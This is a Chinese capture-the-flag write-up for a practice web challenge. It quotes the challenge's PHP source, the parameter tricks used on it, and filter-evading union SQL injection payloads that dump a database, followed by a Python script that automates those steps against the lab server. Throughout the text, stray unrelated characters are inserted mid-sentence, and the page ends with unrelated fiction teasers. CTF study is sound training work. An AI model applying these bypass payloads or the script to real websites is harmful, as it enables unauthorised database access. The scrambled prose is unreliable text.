CTF-WEB-in a mess#sql注入#php代碼審計

in a mess——PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

描述

連出題人自己都忘了flag放哪了坝撑,只記得好像很混亂的樣子不翩。http://web.jarvisoj.com:32780/

分析

  1. 訪問看見
<!--index.phps-->work harder!harder!harder!

乖巧可愛的跟著出題老師去index.phps,看到源碼抡锈。

    <?php
    error_reporting(0);
    echo "<!--index.phps-->";
    if(!$_GET['id']){
        header('Location: index.php?id=1');
        exit();}
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.')){ 
#a里不能有.
        echo 'Hahahahahaha';
        return ;}
    $data = @file_get_contents($a,'r');
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){ 
        require("flag.txt");}
    else{
        print "work harder!harder!harder!";}?>

得出結(jié)論要傳3個參數(shù)
1.1 id值等于0但自身不能為0
1.2 b長度大于5且可能涉及eregi繞過(譬如b[0]='.'累驮,通配符匹配)
1.3 a涉及file_get_contents刃鳄,需用偽協(xié)議php://input傳入"1112 is a nice lab!"

  1. 于是提交payload:id=0.0&b=%2E11111&a=php://input ; post:1112 is a nice lab!
    拿到: Come ON!!! {/^HT2mCpcvOLf}诅炉,但是作為flag提交了不對(看起來是不太對但試試又不吃虧)
  2. 思路卡了黑滴,看wp發(fā)現(xiàn)是地址ORZ罢荡。訪問http://web.jarvisoj.com:32780/^HT2mCpcvOLf赡突,bp里直接改還不行……瀏覽器訪問自動變成了/^HT2mCpcvOLf/index.php?id=1,頁面顯示hi666区赵。
  3. id改成2則顯示:SELECT * FROM content WHERE id=2惭缰,提交id=2-1發(fā)現(xiàn)是可以執(zhí)行的,考點變成了sql注入
  4. 試了試發(fā)現(xiàn)有過濾笼才,回顯為如果檢測到注入就返回you bad bad……漱受,如果執(zhí)行了查詢不到結(jié)果就返回執(zhí)行語句。根據(jù)回顯邏輯一路發(fā)現(xiàn)過濾空格骡送、+昂羡、/**/,部分關(guān)鍵詞作刪除處理(但可以用雙重嵌入繞過)摔踱,各種試空格符發(fā)現(xiàn)不過濾%0b紧憾,到這里差不多可以開始注入了
    ?id=-1%0bununionion%0bseselectlect%0b1,2,database()#
    ——test
    id=-1%0bununionion%0bseselectlect%0b1,2,table_name%0bfrfromom%0binformation_schema.tables%0bwhere%0btable_schema=database()#
    ——content
    id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(column_name)%0bfrfromom%0binformation_schema.columns%0bwhere%0btable_schema=database()
    ——id,context,title
    id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(id,context,title)%0bfrfromom%0bcontent%0blimit%0b1%0boffset%0b0#
    ——1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666。
    如果存在其他條目里就offset慢慢移吧昌渤,本題剛好只有一條數(shù)據(jù)赴穗。

總結(jié)

1.手動sql注入時的小經(jīng)驗,對于這種有過濾的膀息,手動寫語句經(jīng)常出錯(是我了)般眉,可以再分小點,比如都先union select 1,2,3 潜支,只改后面的甸赃,分步調(diào)試()
2.傳參的套路感覺都不用總結(jié)了,畢竟我也是看過《正則表達式必知必會》的人()冗酿!但后面沒想到括號里是網(wǎng)址……套路防不勝防埠对,甘拜下風

總結(jié)2

然后因為題目簡單,加作業(yè)了……寫代碼擼一下手動注入的邏輯裁替。先order by(這么小的數(shù)就不二分法了())项玛,再union select確定回顯位,再查表名弱判、列名襟沮、字段。寫是寫完了,寫完一看這不就是sqlmap的一部分嗎开伏,我為什么不去看sqlmap的源碼就好了()


代碼執(zhí)行結(jié)果
import requests

def sqlfilt(payload):#過濾繞過
    result = []
    for i in payload.split(' '):#對關(guān)鍵詞做處理
        if i.isalpha(): #處理方法1膀跌,中間加過濾關(guān)鍵字union
            temp = i[:len(i)//2]+'union'+i[len(i)//2:]
            result.append(temp)
        else:result.append(i)
    return '%0b'.join(result) #空格替換方式

def step1(url): #確定column列數(shù)N
    N = 0
    for i in range(10,1,-1):
        payload = sqlfilt('1 order by %d#'%(i)) 
        ret = requests.get(url+payload).text
        if NORMAL not in ret:
            N = i+1
    print ('column總列數(shù)為%d'%(N))
    return N
def step2(url,N): #確定column回顯位置
    payload = '-1 union select '
    for i in range(1,N+1):
        payload += str(i)+','
    payload = sqlfilt(payload[:-1]+'#')
    ret = requests.get(url+payload).text
    INDEX = int(ret)#可能需要在print(ret)再在回顯里找一找,
    print('回顯位置為%d'%(INDEX))
    return INDEX
    
def unisel(N,INDEX,string): #構(gòu)造回顯注入點(前半截)
    PAYLOAD = '-1 union select '
    for i in range(1,N+1):
        if i != INDEX:
            PAYLOAD += str(i)+','
        else:
            PAYLOAD += string+','
    return PAYLOAD[:-1]

def step3(url): #查看表名
    payload = unisel(N,INDEX,'group_concat(table_name)')+' from information_schema.tables where table_schema=database()#'
    payload = sqlfilt(payload)
    ret = requests.get(url+payload).text
    TABLES = ret
    print ('表名為%s'%(TABLES))
    return TABLES
    
def step4(url):#查看列名
    payload = unisel(N,INDEX,'group_concat(column_name)')+' from information_schema.columns where table_schema=database()#' #如果多的話用limit 1 OFFSET 0逐個試
    payload = sqlfilt(payload)
    ret = requests.get(url+payload).text
    COLUMNS = ret.split(',')
    print ('列名為%s'%(COLUMNS))
    return COLUMNS
    
def step5(url,COLUMNS,TABLES):#查看字段值
    string = 'group_concat('
    for i in COLUMNS:
        string += i+','
    string = string[:-1]+')'
    payload = unisel(N,INDEX,string)+' from %s limit 1 offset 0#'%(TABLES)#第一行沒有就接著查-固灵。-
    print(payload)
    payload = sqlfilt(payload)
    ret = requests.get(url+payload).text
    print ('結(jié)果為%s'%(ret))

    
s = requests.session()
url = 'http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id='
NORMAL = requests.get(url+'-1').text[:-2] #回顯規(guī)則:語句正確但查詢沒有結(jié)果時將返回查詢語句,用于基準判斷
N = step1(url)
INDEX = step2(url,N)
TABLES = step3(url)
COLUMNS = step4(url)
step5(url,COLUMNS,TABLES)

大家可以看出我的代碼是多么啰嗦了……好了以后再去看sqlmap怎么寫的捅伤,學習下優(yōu)秀的編程風格ORZ。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末巫玻,一起剝皮案震驚了整個濱河市丛忆,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌大审,老刑警劉巖蘸际,帶你破解...
    沈念sama閱讀 212,383評論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件座哩,死亡現(xiàn)場離奇詭異徒扶,居然都是意外死亡,警方通過查閱死者的電腦和手機根穷,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,522評論 3 385
  • 文/潘曉璐 我一進店門姜骡,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人屿良,你說我怎么就攤上這事圈澈。” “怎么了尘惧?”我有些...
    開封第一講書人閱讀 157,852評論 0 348
  • 文/不壞的土叔 我叫張陵康栈,是天一觀的道長。 經(jīng)常有香客問我喷橙,道長啥么,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,621評論 1 284
  • 正文 為了忘掉前任贰逾,我火速辦了婚禮悬荣,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘疙剑。我一直安慰自己氯迂,他們只是感情好,可當我...
    茶點故事閱讀 65,741評論 6 386
  • 文/花漫 我一把揭開白布言缤。 她就那樣靜靜地躺著嚼蚀,像睡著了一般。 火紅的嫁衣襯著肌膚如雪管挟。 梳的紋絲不亂的頭發(fā)上驰坊,一...
    開封第一講書人閱讀 49,929評論 1 290
  • 那天,我揣著相機與錄音,去河邊找鬼拳芙。 笑死察藐,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的舟扎。 我是一名探鬼主播分飞,決...
    沈念sama閱讀 39,076評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼睹限!你這毒婦竟也來了譬猫?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,803評論 0 268
  • 序言:老撾萬榮一對情侶失蹤羡疗,失蹤者是張志新(化名)和其女友劉穎染服,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體叨恨,經(jīng)...
    沈念sama閱讀 44,265評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡柳刮,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,582評論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了痒钝。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片秉颗。...
    茶點故事閱讀 38,716評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖送矩,靈堂內(nèi)的尸體忽然破棺而出蚕甥,到底是詐尸還是另有隱情,我是刑警寧澤栋荸,帶...
    沈念sama閱讀 34,395評論 4 333
  • 正文 年R本政府宣布菇怀,位于F島的核電站,受9級特大地震影響晌块,放射性物質(zhì)發(fā)生泄漏爱沟。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 40,039評論 3 316
  • 文/蒙蒙 一摸袁、第九天 我趴在偏房一處隱蔽的房頂上張望钥顽。 院中可真熱鬧,春花似錦靠汁、人聲如沸蜂大。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,798評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽奶浦。三九已至,卻和暖如春踢星,著一層夾襖步出監(jiān)牢的瞬間澳叉,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,027評論 1 266
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留成洗,地道東北人五督。 一個月前我還...
    沈念sama閱讀 46,488評論 2 361
  • 正文 我出身青樓,卻偏偏與公主長得像瓶殃,于是被迫代替她去往敵國和親充包。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 43,612評論 2 350